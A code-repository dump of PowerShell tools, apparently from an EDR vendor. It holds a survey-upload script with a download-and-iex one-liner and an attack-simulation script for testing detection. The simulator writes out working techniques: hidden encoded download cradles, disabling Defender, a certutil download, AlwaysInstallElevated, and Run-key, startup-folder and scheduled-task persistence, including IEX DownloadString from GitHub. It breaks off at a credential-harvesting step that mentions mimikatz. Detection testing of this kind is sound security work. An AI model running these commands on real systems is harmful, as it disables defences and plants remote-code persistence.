| $statusmessage = "[Elapsed (seconds): {0:N2} ] {1}" -f $elapsedtime, $status.message 339 | if ($status.progress) { 340 | Write-Progress -Activity "Waiting for scan to process" -status $statusmessage -percentComplete ($status.progress) 341 | } else { 342 | Write-Progress -Activity "Waiting for scan to process" -status $statusmessage 343 | } 344 | } else { 345 | if ($status.status -eq "Error") { 346 | Write-Host -ForegroundColor Red "ERROR: Could not complete scan and analysis." 347 | Write-Host -ForegroundColor Red "$status.message" 348 | $active = $false 349 | } elseif ($status.status -eq "Completed") { 350 | Write-Host "Scan Completed in $elapsedtime seconds" 351 | $active = $false 352 | } else { 353 | Write-Host -ForegroundColor Red "[Unhandled Error] Something went wrong..." 354 | Write-Host -ForegroundColor Red "$status.message" 355 | $status 356 | } 357 | } 358 | } -------------------------------------------------------------------------------- /Archive/manualscan/survey.ps1: -------------------------------------------------------------------------------- 1 | New-Module -name survey -scriptblock { 2 | # Infocyte HUNT scripted survey option (manual scan). If unfamiliar with this script, contact your IT or Security team. 3 | # www.infocyte.com 4 | 5 | # WARNING: Single line scripts like this use similiar techniques to modern staged malware. 6 | # As a result, this script will likely trigger behavioral detection products and may need to be whitelisted. 7 | 8 | # To execute this script as a one liner on a windows host with powershell 3.0+ (.NET 4.5+), run this command replacing instancename and key with your hunt instance and registration key [optional]. NOTE: Instancename is the cname from the URL, not the FULL url https://instancename.infocyte.com). This script will append the url for you during install. 9 | # C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nologo -win 1 -executionpolicy bypass -nop -command { [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (new-objectNet.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/manualscan/survey.ps1") | iex; survey } 10 | 11 | # HElPER FUNCTIONS 12 | $Depth = 10 13 | 14 | # Used with most Infocyte Get methods. Takes a filter object (hashtable) and adds authentication and passes it as the body for URI encoded parameters. NoLimit will iterate 1000 results at a time to the end of the data set. 15 | function _ICGetMethod ([String]$url, [HashTable]$filter, [Switch]$NoLimit) { 16 | $skip = 0 17 | if ($Interactive) { Write-Progress -Activity "Getting Data from Hunt Server API" -status "Requesting data from $url [$skip]" } 18 | $count = 0 19 | $body = @{ 20 | access_token = $Global:ICToken 21 | } 22 | if ($filter) { 23 | $body['filter'] = $filter | ConvertTo-JSON -Depth $Depth -Compress 24 | } 25 | Write-Verbose "Requesting data from $url (Limited to $resultlimit unless using -NoLimit)" 26 | Write-Verbose "$($body | ConvertTo-JSON -Depth $Depth -Compress)" 27 | try { 28 | $Objects = Invoke-RestMethod $url -body $body -Method GET -ContentType 'application/json' -Proxy $Global:Proxy -ProxyCredential $Global:ProxyCredential 29 | } catch { 30 | if ($Interactive) { Write-Warning "Error: $_" } 31 | "$(Get-Date) [Error] REST Error: $($_.Exception.Message)" >> $LogPath 32 | return "ERROR: $($_.Exception.Message)" 33 | } 34 | if ($Objects) { 35 | $count += $Objects.count 36 | Write-Output $Objects 37 | } else { 38 | return $null 39 | } 40 | $GlobalLimit = 10000 41 | if ($NoLimit -AND $Objects.count -eq $resultlimit) { $more = $true } else { $more = $false } 42 | if ($Objects.count -gt $Globallimit) { 43 | $more = $FALSE 44 | if ($Interactive) { Write-Warning "Reached Global Limit ($GlobalLimit) -- Try refining your query with a where filter. Performance on the database seriously degrades when trying to pull more than 100k objects" } 45 | } 46 | While ($more) { 47 | $skip += $resultlimit 48 | $filter['skip'] = $skip 49 | $body.remove('filter') | Out-Null 50 | $body.Add('filter', ($filter | ConvertTo-JSON -Depth $Depth -Compress)) 51 | Write-Progress -Activity "Getting Data from Hunt Server API" -status "Requesting data from $url [$skip]" 52 | try { 53 | $moreobjects = Invoke-RestMethod $url -body $body -Method GET -ContentType 'application/json' -Proxy $Global:Proxy -ProxyCredential $Global:ProxyCredential 54 | } catch { 55 | If ($Interactive) { Write-Warning "Error: $_" } 56 | "$(Get-Date) [Error] REST Error: $($_.Exception.Message)" >> $LogPath 57 | return "ERROR: $($_.Exception.Message)" 58 | } 59 | if ($moreobjects.count -gt 0) { 60 | $count += $moreobjects.count 61 | Write-Output $moreobjects 62 | } else { 63 | $more = $false 64 | } 65 | } 66 | Write-Verbose "Recieved $count objects from $url" 67 | } 68 | 69 | # Used with all other rest methods. Pass a body (hashtable) and it will add authentication. 70 | function _ICRestMethod ([String]$url, $body=$null, [String]$method) { 71 | $headers = @{ 72 | Authorization = $Global:ICToken 73 | } 74 | Write-verbose "Sending $method command to $url" 75 | Write-verbose "Body = $($body | ConvertTo-JSON -Compress -Depth 10)" 76 | try { 77 | $Result = Invoke-RestMethod $url -headers $headers -body ($body|ConvertTo-JSON -Compress -Depth $Depth) -Method $method -ContentType 'application/json' -Proxy $Global:Proxy -ProxyCredential $Global:ProxyCredential 78 | } catch { 79 | if ($Interactive) { Write-Warning "Error: $_" } 80 | "$(Get-Date) [Error] REST Error: $($_.Exception.Message)" >> $LogPath 81 | throw "ERROR: $($_.Exception.Message)" 82 | } 83 | if ($Result) { 84 | Write-Output $Result 85 | } else { 86 | return $null 87 | } 88 | } 89 | 90 | # Generate an API token in the web console's profile or admin section. 91 | function Set-ICToken { 92 | [cmdletbinding()] 93 | param( 94 | [parameter(Mandatory=$true)] 95 | [ValidateNotNullOrEmpty()] 96 | [String]$HuntServer = "https://localhost:443", 97 | 98 | [parameter(Mandatory=$true)] 99 | [ValidateNotNullorEmpty()] 100 | [String]$Token, 101 | 102 | [String]$Proxy, 103 | [String]$ProxyUser, 104 | [String]$ProxyPass, 105 | 106 | [Switch]$DisableSSLVerification 107 | ) 108 | 109 | if ($DisableSSLVerification) { 110 | _DisableSSLVerification 111 | } 112 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 113 | 114 | if ($HuntServer -notlike "https://*") { 115 | $Global:HuntServerAddress = "https://" + $HuntServer 116 | } else { 117 | $Global:HuntServerAddress = $HuntServer 118 | } 119 | 120 | # Set Token to global variable 121 | if ($Token.length -eq 64) { 122 | $Global:ICToken = $Token 123 | } else { 124 | if ($Interactive) { Write-Warning "That token won't work. Must be a 64 character string generated within your profile or admin panel within Infocyte HUNT's web console" } 125 | return 126 | } 127 | if ($Interactive) { Write-Host "Setting Auth Token for $HuntServer to $Token" } 128 | if ($Proxy) { 129 | $Global:Proxy = $Proxy 130 | if ($ProxyUser -AND $ProxyPass) { 131 | $pw = ConvertTo-SecureString $ProxyPass -AsPlainText -Force 132 | $Global:ProxyCredential = New-Object System.Management.Automation.PSCredential ($ProxyUser, $pw) 133 | } 134 | } 135 | Write-Verbose "Token, Hunt Server Address, and Proxy settings are stored in global variables for use in all IC cmdlets" 136 | } 137 | 138 | function New-ICTargetGroup { 139 | param( 140 | [parameter(Mandatory=$true, Position=0)] 141 | [ValidateNotNullOrEmpty()] 142 | [String]$Name 143 | ) 144 | 145 | $Endpoint = "targets" 146 | $body = @{ 147 | name = $Name 148 | } 149 | if ($Interactive) { Write-Host "Creating new target group: $Name [$HuntServerAddress/api/$Endpoint]" } 150 | _ICRestMethod -url $HuntServerAddress/api/$Endpoint -body $body -method 'POST' 151 | } 152 | 153 | function Get-ICTargetGroups ([String]$TargetGroupId) { 154 | $Endpoint = "targets" 155 | $filter = @{ 156 | order = @("name", "id") 157 | limit = $resultlimit 158 | skip = 0 159 | } 160 | if ($TargetGroupId) { 161 | _ICGetMethod -url $HuntServerAddress/api/$Endpoint -filter $filter -NoLimit:$true | where { $_.id -eq $TargetGroupId} 162 | } else { 163 | _ICGetMethod -url $HuntServerAddress/api/$Endpoint -filter $filter -NoLimit:$true 164 | } 165 | } 166 | 167 | function Import-ICSurvey { 168 | [cmdletbinding(DefaultParameterSetName = 'Path')] 169 | param( 170 | [parameter( 171 | Mandatory, 172 | ParameterSetName = 'Path', 173 | Position = 0, 174 | ValueFromPipeline, 175 | ValueFromPipelineByPropertyName 176 | )] 177 | [ValidateNotNullOrEmpty()] 178 | [SupportsWildcards()] 179 | [string[]]$Path, # 180 | 181 | [parameter( 182 | Mandatory, 183 | ParameterSetName = 'LiteralPath', 184 | Position = 0, 185 | ValueFromPipelineByPropertyName 186 | )] 187 | [ValidateNotNullOrEmpty()] 188 | [Alias('PSPath')] 189 | [string[]]$LiteralPath, 190 | 191 | [String]$TargetGroupName = "OfflineScans" 192 | ) 193 | 194 | BEGIN { 195 | # INITIALIZE 196 | $survey = "HostSurvey.json.gz" 197 | $surveyext = "*.json.gz" 198 | 199 | function Upload-ICSurveys ([String]$FilePath, [String]$ScanId){ 200 | Write-Verbose "Uploading Surveys" 201 | $headers = @{ 202 | Authorization = $Global:ICToken 203 | scanid = $ScanId 204 | } 205 | try { 206 | $objects = Invoke-RestMethod $HuntServerAddress/api/survey -Headers $headers -Method POST -InFile $FilePath -ContentType "application/octet-stream" -Proxy $Global:Proxy -ProxyCredential $Global:ProxyCredential 207 | } catch { 208 | if ($Interactive) { Write-Warning "Error: $_" } 209 | "$(Get-Date) [Error] Upload Error: $($_.Exception.Message)" >> $LogPath 210 | throw "ERROR: $($_.Exception.Message)" 211 | } 212 | #$objects 213 | } 214 | 215 | if ($ScanId) { 216 | # Check for existing ScanId and use it 217 | $scans = Get-ICScans -NoLimit 218 | if ($scans.id -contains $ScanId) { 219 | $TargetGroupName = ($Scans | where { $_.scanId -eq $ScanId}).targetList 220 | } else { 221 | Throw "No scan exists with ScanId $ScanId. Specify an existing ScanId to add this survey result to or use other parameters to generate one." 222 | } 223 | } 224 | elseif ($TargetGroupId) { 225 | # Check TargetGroupId and create new ScanId for that group 226 | if ($Interactive) { Write-Host "Checking for existance of target group with TargetGroupId: '$TargetGroupId' and generating new ScanId" } 227 | $TargetGroups = Get-ICTargetGroups 228 | if ($TargetGroups.id -contains $TargetGroupId) { 229 | $TargetGroupName = ($TargetGroups | where { $_.id -eq $TargetGroupId }).name 230 | } else { 231 | Throw "No Target Group exists with TargetGroupId $TargetGroupId. Specify an existing TargetGroupId to add this survey to or use other parameters to generate one." 232 | } 233 | } 234 | else { 235 | if ($Interactive) { Write-Host "No ScanId or TargetGroupId specified. Checking for existance of target group: '$TargetGroupName'" } 236 | $TargetGroups = Get-ICTargetGroups 237 | if ($TargetGroups.name -contains $TargetGroupName) { 238 | if ($Interactive) { Write-Host "$TargetGroupName Exists." } 239 | $TargetGroupId = ($targetGroups | where { $_.name -eq $TargetGroupName}).id 240 | } else { 241 | if ($Interactive) { Write-Host "$TargetGroupName does not exist. Creating new Target Group '$TargetGroupName'" } 242 | "$(Get-Date) [Status] $TargetGroupName does not exist. Creating new Target Group '$TargetGroupName'" >> $LogPath 243 | New-ICTargetGroup -Name $TargetGroupName 244 | Start-Sleep 1 245 | $TargetGroups = Get-ICTargetGroups 246 | $TargetGroupId = ($targetGroups | where { $_.name -eq $TargetGroupName}).id 247 | } 248 | } 249 | 250 | # Creating ScanId 251 | if (-NOT $ScanId) { 252 | $ScanName = "Offline-" + (get-date).toString("yyyyMMdd-HHmm") 253 | if ($Interactive) { Write-Host "Creating scan named $ScanName [$TargetGroupName-$ScanName]..." } 254 | $StartTime = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ss.fffZ") 255 | $body = @{ 256 | name = $scanName; 257 | targetId = $TargetGroupId; 258 | startedOn = $StartTime 259 | } 260 | try { 261 | $newscan = _ICRestMethod -url $HuntServerAddress/api/scans -body $body -Method 'POST' -Proxy $Global:Proxy -ProxyCredential $Global:ProxyCredential 262 | } catch { 263 | if ($Interactive) { Write-Warning "Error: $_" } 264 | "$(Get-Date) [Error] ScanId Creation Error: $($_.Exception.Message)" >> $LogPath 265 | throw "ERROR: $($_.Exception.Message)" 266 | } 267 | Start-Sleep 1 268 | $ScanId = $newscan.id 269 | } 270 | 271 | 272 | if ($Interactive) { Write-Host "Importing Survey Results into $TargetGroupName-$ScanName [ScanId: $ScanId] [TargetGroupId: $TargetGroupId]" } 273 | "Importing Survey Results into $TargetGroupName-$ScanName [ScanId: $ScanId] [TargetGroupId: $TargetGroupId]" >> $LogPath 274 | } 275 | 276 | PROCESS { 277 | # Resolve path(s) 278 | if ($PSCmdlet.ParameterSetName -eq 'Path') { 279 | $resolvedPaths = Resolve-Path -Path $Path | Select-Object -ExpandProperty Path 280 | } elseif ($PSCmdlet.ParameterSetName -eq 'LiteralPath') { 281 | $resolvedPaths = Resolve-Path -LiteralPath $LiteralPath | Select-Object -ExpandProperty Path 282 | } 283 | 284 | # Process each item in resolved paths 285 | foreach ($file in $resolvedPaths) { 286 | if ($Interactive) { Write-Host "Uploading survey [$file]..." } 287 | if ((Test-Path $file -type Leaf) -AND ($file -like $surveyext)) { 288 | Upload-ICSurveys -FilePath $file -ScanId $ScanId 289 | } else { 290 | if ($Interactive) { Write-Warning "$file does not exist or is not a $surveyext file" } 291 | } 292 | } 293 | } 294 | 295 | END { 296 | # TODO: detect when scan is no longer processing submissions, then mark as completed 297 | #Write-Host "Closing scan..." 298 | #Invoke-RestMethod -Headers @{ Authorization = $token } -Uri "$HuntServerAddress/api/scans/$scanId/complete" -Method Post 299 | } 300 | 301 | } 302 | 303 | Function Invoke-HuntSurvey() { 304 | param( 305 | [Parameter(Mandatory = $True, Position = 0)] 306 | [String]$InstanceName, 307 | 308 | [Parameter(Mandatory = $True, Position = 1)] 309 | [String]$APIKey, 310 | 311 | [String]$Proxy, # "http://proxyserver:port" 312 | 313 | [String]$ProxyUser, 314 | 315 | [String]$ProxyPass, 316 | 317 | [Switch]$Interactive 318 | ) 319 | 320 | $Global:Interactive = $Interactive 321 | $SurveyDestination = "$($env:TEMP)\survey.exe" 322 | $SurveyResults = "$($env:TEMP)\hostsurvey.json.gz" 323 | $LogPath = "$($env:TEMP)\s1_deploy.log" 324 | $hunturl = "https://$InstanceName.infocyte.com" 325 | $HuntAPI = "https://$InstanceName.infocyte.com/api" 326 | $DownloadEndpoint = "/survey/download-client" 327 | 328 | Set-ICToken -HuntServer $hunturl -Token $APIKey -Proxy $Proxy -ProxyUser $ProxyUser -ProxyPass $ProxyPass 329 | 330 | # Make script silent unless run interactive 331 | if (-NOT $Interactive) { 332 | $ErrorActionPreference = "SilentlyContinue" 333 | $ProgressPreference = "SilentlyContinue" 334 | } 335 | 336 | If (-NOT $InstanceName) { 337 | if ($Interactive) { Write-Error "Please provide Infocyte HUNT instance name (i.e. mycompany in mycompany.infocyte.com)" } 338 | "$(Get-Date) [Error] Install started but no InstanceName provided in arguments." >> $LogPath 339 | return 340 | } 341 | 342 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 343 | if ($Interactive) { Write-Error "You do not have Administrator rights to run this script!`nPlease re-run this script as an Administrator!" } 344 | "$(Get-Date) [Error] Survey Error: Survey started but script not run as administrator" >> $LogPath 345 | return 346 | } 347 | 348 | # Downloading Survey 349 | $URL = $HuntAPI+$DownloadEndpoint+"?platform=windows&access_token=$APIKey" 350 | if ($Interactive) { Write-Host "Pulling Survey Binary down from $hunturl" } 351 | try { 352 | $a = Invoke-RestMethod -Method GET -Uri $URL -OutFile $SurveyDestination -Proxy $Global:Proxy -ProxyCredential $Global:ProxyCredential 353 | } catch { 354 | if ($Interactive) { Write-Error "Could not download HUNT Survey from $binaryURL" } 355 | "$(Get-Date) [Error] Survey Error: Install started but could not download survey.exe from $binaryURL." >> $LogPath 356 | return 357 | } 358 | 359 | 360 | # Verify Sha1 of file [to do: Finish] 361 | try { 362 | $SHA1CryptoProvider = new-object -TypeName system.security.cryptography.SHA1CryptoServiceProvider 363 | $inputBytes = [System.IO.File]::ReadAllBytes($SurveyDestination); 364 | $Hash = [System.BitConverter]::ToString($SHA1CryptoProvider.ComputeHash($inputBytes)) 365 | $sha1 = $Hash.Replace('-','').ToUpper() 366 | } catch { 367 | if ($Interactive) { Write-Warning "Hash Error. $_" } 368 | $sha1 = "Hashing Error" 369 | #"$(Get-Date) [Warning] Installation Warning: Could not hash survey.exe." >> $LogPath 370 | } 371 | 372 | $msg = "$(Get-Date) [Information] Running Survey: Downloading survey.exe from $binaryURL [sha1: $sha1] and executing: $SurveyDestination" 373 | $msg >> $LogPath 374 | if ($Interactive) { Write-Host $msg } 375 | # Execute! 376 | 377 | try { 378 | if ($Interactive) { 379 | Start-Process -NoNewWindow -FilePath $SurveyDestination -ErrorAction Stop -Wait 380 | } else { 381 | Start-Process -WindowStyle Hidden -FilePath $SurveyDestination -ErrorAction Stop -Wait 382 | } 383 | } catch { 384 | "$(Get-Date) [Error] Survey Error: Could not start survey.exe. [$_]" >> $LogPath 385 | Return 386 | } 387 | 388 | # Upload results- 389 | if ($Interactive) { Write-Host Sending Survey Results to $hunturl } 390 | Import-ICSurvey -Path $SurveyResults -TargetGroupName "ManualScans" #| Out-Null 391 | 392 | } 393 | 394 | Set-Alias survey -Value Invoke-HuntSurvey | Out-Null 395 | Export-ModuleMember -Alias 'survey' -Function 'Invoke-HuntSurvey' | Out-Null 396 | } 397 | -------------------------------------------------------------------------------- /AttackSim/attackscript.ps1: -------------------------------------------------------------------------------- 1 | # This is a test script used to mimic an attack. 2 | # The only real malware employed is mimikatz and it will only be used to extra passwords, those passwords will not be saved or sent anywhere. 3 | 4 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 5 | Write-Warning "[Error] You do not have Administrator rights to run this script!`nPlease re-run as an Administrator!" 6 | Start-Sleep 10 7 | return 8 | } 9 | $agent = Get-Service -Name HUNTAgent 10 | if (-NOT $agent) { 11 | Write-Warning "[Warning] Datto EDR Agent is not installed!`n" 12 | } 13 | If ($agent.status -ne "Running") { 14 | Write-Warning "[Warning] Datto EDR Agent Service is installed but NOT running!`n" 15 | } 16 | 17 | #Define some randomness 18 | $n = 1000+$(Get-Random -Max 999) 19 | 20 | Write-Host "Starting Datto Attack Simulator" 21 | New-Item -Path "$env:TEMP" -Name "AttackSim" -ItemType "directory" -ErrorAction Ignore 22 | $attackDir = "$env:TEMP\AttackSim" 23 | 24 | 25 | Write-Host "Starting Single Endpoint Behavioral Attack Simulation. No persistent malware is used." 26 | 27 | 28 | #### EXECUTION 29 | Write-Host "Starting Execution Step" 30 | 31 | Write-Host "Initiating a T1059.001 - Powershell Download Harness" 32 | Write-Host "(Execution-T1059.001) Detected use of hidden powershell base64 encoded commands" 33 | Write-Host "[ATT&CK T1059.001 - Execution - Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/001)" 34 | $cmd = "(new-object System.Net.WebClient).DownloadFile('https://live.sysinternals.com/psexec.exe', '$attackDir\bad.exe'); Start-Sleep -m $n" 35 | Powershell.exe -NoP -command $cmd 36 | 37 | 38 | Write-Host "Initiating a T1059.001 - Powershell Encoded and hidden Download Harness" 39 | $Cmd = "(new-object System.Net.WebClient).DownloadFile('https://live.sysinternals.com/psexec.exe', '$attackDir\bad.exe'); Start-Sleep -m $n" 40 | $EncodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Cmd) 41 | ) 42 | powershell.exe -win H -NoP -e $EncodedCommand 43 | 44 | Write-Host "Initiating T1059.001 - Powershell Execution From Alternate Data Stream" 45 | $cmd = @" 46 | Add-Content -Path $attackDir\NTFS_ADS.txt -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'; 47 | iex (Get-Content -Path $attackDir\NTFS_ADS.txt -Stream 'streamcommand'| Out-String) 48 | Start-Sleep -m $n 49 | "@ 50 | powershell.exe -Win N -exec bypass -nop -command $cmd 51 | Start-Sleep 5 52 | Remove-Item $attackDir\NTFS_ADS.txt -Force -ErrorAction Ignore 53 | 54 | Start-Sleep 10 55 | 56 | 57 | # DISCOVERY 58 | Write-Host -ForegroundColor Cyan "`n`nStarting discovery step" 59 | 60 | Write-Host "Initiating Discovery - T1082 - System Information Discovery" 61 | Write-Host "When an adversary first gains access to a system, they often gather detailed information about the compromised system and network including users, operating system, hardware, patches, and architecture. Adversaries may use the information to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions like a ransom.`n" 62 | $cmd = @" 63 | '==== Hostname ====' > $attackDir\recon.txt 64 | Hostname >> $attackDir\recon.txt 65 | '' >> $attackDir\recon.txt 66 | '==== Whoami ====' >> $attackDir\recon.txt 67 | whoami >> $attackDir\recon.txt 68 | '' >> $attackDir\recon.txt 69 | '==== MachineGuid (best unique id to use) ====' >> $attackDir\recon.txt 70 | REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid >> $attackDir\recon.txt 71 | '' >> $attackDir\recon.txt 72 | '==== System Info ====' >> $attackDir\recon.txt 73 | Systeminfo >> $attackDir\recon.txt 74 | '' >> $attackDir\recon.txt 75 | '==== Antivirus Product ====' >> $attackDir\recon.txt 76 | WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,pathToSignedProductExe,pathToSignedReportingExe,productState 2>&1 >> $attackDir\recon.txt 77 | '' >> $attackDir\recon.txt 78 | '==== Local Administrators ====' >> $attackDir\recon.txt 79 | net localgroup administrators 2>&1 >> $attackDir\recon.txt 80 | '' >> $attackDir\recon.txt 81 | '==== Domain Administrators ====' >> $attackDir\recon.txt 82 | net group 'domain admins' /domain 2>&1 >> $attackDir\recon.txt 83 | '' >> $attackDir\recon.txt 84 | '==== Exchange Administrators ====' >> $attackDir\recon.txt 85 | net group 'Exchange Trusted Subsystem' /domain 2>&1 >> $attackDir\recon.txt 86 | Start-Sleep -m $n 87 | "@ 88 | Powershell.exe -nop -command $cmd 89 | Start-Sleep 3 90 | Remove-item $attackDir\recon2.txt -ErrorAction Ignore -force 91 | 92 | Write-Host "Initiating Discovery - T1018 - Remote System Discovery" 93 | Write-Host "Upon compromise of a system, attackers need to move to more important systems. They first enumerate nearby systems to determine what is available.`n" 94 | $cmd = @" 95 | '==== Terminal Services Remote Host List (who has this system remoted into?) ====' >> $attackDir\recon2.txt 96 | reg query 'HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default' 2>&1 >> $attackDir\recon2.txt 97 | '' >> $attackDir\recon2.txt 98 | '==== Domain Controllers ====' >> $attackDir\recon2.txt 99 | net group "domain controllers" /domain 2>&1 >> $attackDir\recon2.txt 100 | '' >> $attackDir\recon2.txt 101 | '==== Local Network Systems ====' >> $attackDir\recon2.txt 102 | net view /all /domain 2>&1 >> $attackDir\recon2.txt 103 | Start-Sleep -m $n 104 | "@ 105 | Powershell.exe -nop -command $cmd 106 | Start-Sleep 3 107 | Remove-item $attackDir\recon2.txt -ErrorAction Ignore -force 108 | 109 | # AlwaysInstallElevated Enumeration (useful to set this to 1 if your malware uses MSI to elevate privs) 110 | $cmd = "reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>&1; Start-Sleep -m $n" 111 | Powershell.exe -nop -command $cmd 112 | 113 | Start-Sleep 10 114 | 115 | 116 | #### EVASION 117 | Write-Host -ForegroundColor Cyan "`n`nStarting defense evasion step" 118 | Write-Host "Initiating Defense Evasion - T1089 - Disabling Security Tools" 119 | Write-Host "Disabling Defender..." 120 | $cmd = "Set-MpPreference -DisableRealtimeMonitoring `$true; Start-Sleep -m $n" 121 | powershell.exe -Win N -exec bypass -nop -command $cmd 122 | sc.exe config WinDefend start= disabled 2>$null 123 | sc.exe stop WinDefend 2>$null 124 | 125 | 126 | Write-Host "Creating binary with double extension" 127 | Copy-Item -Path C:\Windows\System32\calc.exe -Destination "$attackDir\AttackSim$($n).pdf.exe" 128 | Write-Host "Initiating double-extension binary execution" 129 | Start-Process -FilePath "$attackDir\AttackSim$($n).pdf.exe" 130 | Start-Sleep 2 131 | Stop-Process -Name AttackSim* -Force -ErrorAction Ignore 132 | Remove-Item "$attackDir\AttackSim$($n).pdf.exe" -Force -ErrorAction Ignore 133 | 134 | 135 | Write-Host "Initiating Defense Evasion - T1027 - Obfuscated Files or Information" 136 | Write-Host "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.`n" 137 | Write-Host "Certutil Download and Decode" 138 | certutil -urlcache -split -f "http://www.brainjar.com/java/host/test$($n).html" test.txt 139 | start-sleep 2 140 | certutil -decode -f test.txt "WindowsUpdate$($n).exe" 141 | Start-Sleep 10 142 | Remove-Item test.txt -Force -ErrorAction Ignore 143 | 144 | 145 | # Set AlwaysInstallElevated key to 1 146 | $cmd = "reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 2>&1; Start-Sleep -m $n" 147 | Powershell.exe -nop -command $cmd 148 | 149 | 150 | #### PERSISTENCE 151 | Write-Host -ForegroundColor Cyan "`n`nStarting Foothold / Persistence Step" 152 | 153 | Write-Host "Autostart locations like Registry Run Keys or files in User Startup Folders will cause that program to execute when a user logs in or the system reboots. Each autostart may have it’s own trigger for automated execution.`n" 154 | Write-Host "Adding T1547.001 - Registry Run Key Foothold w/ undetectable malware (calc)" 155 | REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Red Team" /t REG_SZ /F /D "C:\Windows\System32\calc.exe -i $n" 156 | Start-Sleep 2 157 | #REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Red Team" /f 2>$null 158 | 159 | Write-Host "Adding T1547.001 - Registry Run Key w/ Fileless Powershell Command" 160 | $subcmd = 'powershell.exe -command "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/36f83b728bc26a49eacb0535edc42be8c377ac54/ARTifacts/Misc/Discovery.bat`");"' 161 | $cmd = @" 162 | set-itemproperty HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce "NextRun" '$subcmd' 163 | Start-Sleep -m $n 164 | "@ 165 | powershell.exe -Win N -exec bypass -nop -command $cmd 166 | 167 | #Start-Sleep 2 168 | #Remove-ItemProperty -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce -Name "NextRun" -Force -ErrorAction Ignore 169 | 170 | Write-Host "Adding T1547.001 - Start Up Folder Persistence with detectable malware (EICAR File)" 171 | Write-Host "Downloading IECAR file..." 172 | Invoke-WebRequest -Uri "https://www.eicar.org/download/eicar.com.txt" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\EICAR.exe" 173 | 174 | 175 | Write-Host "Adding T1547.009 - Malicious Shortcut Link Persistence with detectable malware (EICAR File)" 176 | Write-Host "Downloading IECAR file..." 177 | Invoke-WebRequest -Uri "https://www.eicar.org/download/eicar.com.txt" -OutFile "$attackDir\EICAR.exe" 178 | $cmd = "`$Target = `"$attackDir\EICAR.exe`"`n" 179 | $cmd = @' 180 | $target = 'C:\windows\system32\calc.exe' 181 | $ShortcutLocation = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\evil_calc.lnk' 182 | $WScriptShell = New-Object -ComObject WScript.Shell 183 | $Create = $WScriptShell.CreateShortcut($ShortcutLocation) 184 | $Create.TargetPath = $Target 185 | $Create.Save() 186 | $ShortcutLocation = 'c:\users\public\Desktop\evil_calc.lnk' 187 | $WScriptShell = New-Object -ComObject WScript.Shell 188 | $Create = $WScriptShell.CreateShortcut($ShortcutLocation) 189 | $Create.TargetPath = $Target 190 | $Create.Save() 191 | '@ 192 | $cmd += "`nStart-Sleep -m $n" 193 | powershell.exe -Win N -exec bypass -nop -command $cmd 194 | Start-Sleep 2 195 | #Remove-Item "$attackDir\EICAR.exe" -Force -ErrorAction Ignore 196 | #Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil_calc.lnk" -ErrorAction Ignore 197 | #Remove-Item "$home\Desktop\evil_calc.lnk" -ErrorAction Ignore 198 | 199 | 200 | 201 | Write-Host "Adding Persistence - T1053 - On Logon Scheduled Task Startup Script" 202 | schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe -i $n" /f 203 | Write-Host "Adding Persistence - T1053 - On Startup cheduled Task Startup Script" 204 | schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe -i $n" /f 205 | Start-sleep 2 206 | #schtasks /delete /tn "T1053_005_OnLogon" /f 2>$null 207 | #schtasks /delete /tn "T1053_005_OnStartup" /f 2>$null 208 | 209 | Start-Sleep 10 210 | 211 | Write-Host "Testing Persistence by executing T1059.001 - Powershell Command From Registry Key" 212 | $Cmd = "Write-Host -ForegroundColor Red 'Mess with the Best, Die like the rest!'; Start-Sleep -m $n" 213 | $EncodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($Cmd)) 214 | reg.exe add "HKEY_CURRENT_USER\Software\Classes\RedTeamTest" /v RT /t REG_SZ /d "V3JpdGUtSG9zdCAtRm9yZWdyb3VuZENvbG9yIFJlZCAiTWVzcyB3aXRoIHRoZSBCZXN0LCBEaWUgbGlrZSB0aGUgcmVzdCEi" /f 215 | $cmd = @" 216 | iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\RedTeamTest').RT))); 217 | Start-Sleep -m $n 218 | "@ 219 | powershell.exe -Win N -exec bypass -nop -command $cmd 220 | 221 | Start-Sleep 2 222 | Remove-Item HKCU:\Software\Classes\RedTeamTest -Force -ErrorAction Ignore 223 | 224 | Start-Sleep 10 225 | 226 | # CREDENTIAL 227 | Write-Host -ForegroundColor Cyan "`nStarting Credential Harvesting step" 228 | Write-Host "Downloading ProcDump.exe" 229 